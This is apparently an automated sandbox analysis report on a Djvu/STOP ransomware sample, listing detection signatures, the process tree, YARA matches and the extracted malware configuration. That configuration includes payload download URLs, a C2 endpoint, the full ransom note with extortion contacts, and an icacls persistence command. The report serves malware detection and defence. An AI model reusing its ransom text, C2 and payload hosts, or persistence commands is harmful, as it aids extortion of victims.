Play interactive tour

Edit tour

Windows Analysis Report ZZGJ1bZClw.exe

Overview

General Information

Sample Name:	ZZGJ1bZClw.exe
Analysis ID:	490787
MD5:	dc42dd95ce4017c9984f759a77788bec
SHA1:	f4d4796f4d49138a4cafa8a86a47db14ae322dbc
SHA256:	f5928b4b67f399e11ece2de04588730b5891105ab72add45c7a9ff1fc3d961b7
Tags:	exeRansomwareStop
Infos:
Most interesting Screenshot:

Detection

Djvu

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Detected unpacking (overwrites its own PE header)

Yara detected Djvu Ransomware

Detected unpacking (changes PE section rights)

Multi AV Scanner detection for dropped file

Machine Learning detection for sample

Injects a PE file into a foreign processes

Contains functionality to inject code into remote processes

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

Uses 32bit PE files

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Found potential string decryption / allocating functions

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Contains functionality for execution timing, often used to detect debuggers

Creates a DirectInput object (often for capturing keystrokes)

PE file contains strange resources

Drops PE files

Contains functionality to read the PEB

Uses cacls to modify the permissions of files

Contains functionality to launch a program with higher privileges

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Uses Microsoft's Enhanced Cryptographic Provider

Contains functionality to query network adapater information

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

ZZGJ1bZClw.exe (PID: 6900 cmdline: 'C:\Users\user\Desktop\ZZGJ1bZClw.exe' MD5: DC42DD95CE4017C9984F759A77788BEC)

ZZGJ1bZClw.exe (PID: 6604 cmdline: 'C:\Users\user\Desktop\ZZGJ1bZClw.exe' MD5: DC42DD95CE4017C9984F759A77788BEC)

icacls.exe (PID: 6436 cmdline: icacls 'C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53' /deny *S-1-1-0:(OI)(CI)(DE,DC) MD5: FF0D1D4317A44C951240FAE75075D501)

ZZGJ1bZClw.exe (PID: 7064 cmdline: 'C:\Users\user\Desktop\ZZGJ1bZClw.exe' --Admin IsNotAutoStart IsNotTask MD5: DC42DD95CE4017C9984F759A77788BEC)

ZZGJ1bZClw.exe (PID: 6792 cmdline: 'C:\Users\user\Desktop\ZZGJ1bZClw.exe' --Admin IsNotAutoStart IsNotTask MD5: DC42DD95CE4017C9984F759A77788BEC)

ZZGJ1bZClw.exe (PID: 600 cmdline: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe --Task MD5: DC42DD95CE4017C9984F759A77788BEC)

ZZGJ1bZClw.exe (PID: 6632 cmdline: C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe --Task MD5: DC42DD95CE4017C9984F759A77788BEC)

ZZGJ1bZClw.exe (PID: 2932 cmdline: 'C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe' --AutoStart MD5: DC42DD95CE4017C9984F759A77788BEC)

ZZGJ1bZClw.exe (PID: 992 cmdline: 'C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe' --AutoStart MD5: DC42DD95CE4017C9984F759A77788BEC)

ZZGJ1bZClw.exe (PID: 7160 cmdline: 'C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe' --AutoStart MD5: DC42DD95CE4017C9984F759A77788BEC)

ZZGJ1bZClw.exe (PID: 5848 cmdline: 'C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe' --AutoStart MD5: DC42DD95CE4017C9984F759A77788BEC)

cleanup

Malware Configuration

Threatname: Djvu

{"Download URLs": ["http://securebiz.org/dl/build2.exe", "http://wrrst.top/files/1/build3.exe"], "C2 url": "http://wrrst.top/fhsgtsspen6/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-J0DxAGRqKO\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nmanager@mailtemp.ch\r\n\r\nReserve e-mail address to contact us:\r\nmanagerhelper@airmail.cc\r\n\r\nYour personal ID:\r\n0334gSd743d", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\", "F:\\PerfLogs\\", "F:\\ProgramData\\Desktop\\", "F:\\ProgramData\\Microsoft\\", "F:\\Users\\Public\\", "F:\\$Recycle.Bin\\", "F:\\$WINDOWS.~BT\\", "F:\\dell\\", "F:\\Intel\\"], "Public Key": "-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArYJyPCdGXOHid5eRLZKu\\\\nENptbpVJMEM6G4BWw0nZYRXqRcd8Eb\\/3wUMhIoEQPkSKUXomQ3kizWBjBXWIGfQj\\\\n7MlW+meuXudxwQKT1RgulOB1NqJRO6Cl7t4i2o5N76gvBnWLr+MGAgrXSlNt9j91\\\\n6ML3VoblAdI2UKfFllBhVjK96cSfX4ppCnJvzCsUV7KeEbzadqZxnsQ5c9G1yx5N\\\\nkpsZlWLVaVt+kiaMkU+oPZU4bsj4JqhZaLxC0llhYmxtE\\/menvg8LLEDpUx7M14C\\\\nnFsACVdbiJ9QNpoS2j5KXB6ZLtNN3Ywhf6FdtahfsizCEuHzBtB2yKmqrMuieyps\\\\nKQIDAQAB\\\\n-----END PUBLIC KEY-----"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000005.00000002.403053560.0000000002280000.00000040.00000001.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000001.00000002.361885300.00000000022B0000.00000040.00000001.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000004.00000002.387076079.0000000002310000.00000040.00000001.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000A.00000001.400162515.0000000000400000.00000040.00020000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
0000000A.00000001.400162515.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000007.00000002.388374111.0000000000400000.00000040.00000001.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000007.00000002.388374111.0000000000400000.00000040.00000001.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000A.00000002.402983269.0000000000400000.00000040.00000001.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
0000000A.00000002.402983269.0000000000400000.00000040.00000001.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000E.00000001.412816709.0000000000400000.00000040.00020000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
0000000E.00000001.412816709.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000C.00000002.415234158.0000000002440000.00000040.00000001.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000008.00000002.398022739.0000000000400000.00000040.00000001.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000008.00000002.398022739.0000000000400000.00000040.00000001.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000002.00000001.359707348.0000000000400000.00000040.00020000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000002.00000001.359707348.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000006.00000002.395438224.0000000002290000.00000040.00000001.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000008.00000001.394915120.0000000000400000.00000040.00020000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000008.00000001.394915120.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000E.00000002.416440779.0000000000400000.00000040.00000001.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
0000000E.00000002.416440779.0000000000400000.00000040.00000001.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: ZZGJ1bZClw.exe PID: 6900	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: ZZGJ1bZClw.exe PID: 6604	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: ZZGJ1bZClw.exe PID: 7064	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: ZZGJ1bZClw.exe PID: 600	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: ZZGJ1bZClw.exe PID: 2932	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: ZZGJ1bZClw.exe PID: 6792	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: ZZGJ1bZClw.exe PID: 992	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: ZZGJ1bZClw.exe PID: 6632	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: ZZGJ1bZClw.exe PID: 7160	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: ZZGJ1bZClw.exe PID: 5848	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Click to see the 28 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
5.2.ZZGJ1bZClw.exe.22815a0.1.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
5.2.ZZGJ1bZClw.exe.22815a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
2.1.ZZGJ1bZClw.exe.400000.0.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
2.1.ZZGJ1bZClw.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
4.2.ZZGJ1bZClw.exe.23115a0.1.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
4.2.ZZGJ1bZClw.exe.23115a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
14.1.ZZGJ1bZClw.exe.400000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
14.1.ZZGJ1bZClw.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
4.2.ZZGJ1bZClw.exe.23115a0.1.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xdf7ea:$s1: http:// 0xfd898:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf4f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101b2f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xffa26:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xdf7ea:$f1: http://
4.2.ZZGJ1bZClw.exe.23115a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.2.ZZGJ1bZClw.exe.22815a0.1.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xdf7ea:$s1: http:// 0xfd898:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf4f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101b2f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xffa26:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xdf7ea:$f1: http://
5.2.ZZGJ1bZClw.exe.22815a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.2.ZZGJ1bZClw.exe.22915a0.1.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xdf7ea:$s1: http:// 0xfd898:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf4f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101b2f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xffa26:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xdf7ea:$f1: http://
6.2.ZZGJ1bZClw.exe.22915a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
8.2.ZZGJ1bZClw.exe.400000.0.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
8.2.ZZGJ1bZClw.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
2.2.ZZGJ1bZClw.exe.400000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
2.2.ZZGJ1bZClw.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
8.1.ZZGJ1bZClw.exe.400000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
8.1.ZZGJ1bZClw.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
12.2.ZZGJ1bZClw.exe.24415a0.1.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xdf7ea:$s1: http:// 0xfd898:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf4f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101b2f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xffa26:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xdf7ea:$f1: http://
12.2.ZZGJ1bZClw.exe.24415a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
7.2.ZZGJ1bZClw.exe.400000.0.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
7.2.ZZGJ1bZClw.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
10.1.ZZGJ1bZClw.exe.400000.0.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
10.1.ZZGJ1bZClw.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
2.2.ZZGJ1bZClw.exe.400000.0.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
2.2.ZZGJ1bZClw.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
10.1.ZZGJ1bZClw.exe.400000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
10.1.ZZGJ1bZClw.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
1.2.ZZGJ1bZClw.exe.22b15a0.1.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xdf7ea:$s1: http:// 0xfd898:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf4f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101b2f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xffa26:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xdf7ea:$f1: http://
1.2.ZZGJ1bZClw.exe.22b15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
1.2.ZZGJ1bZClw.exe.22b15a0.1.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312f:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
1.2.ZZGJ1bZClw.exe.22b15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
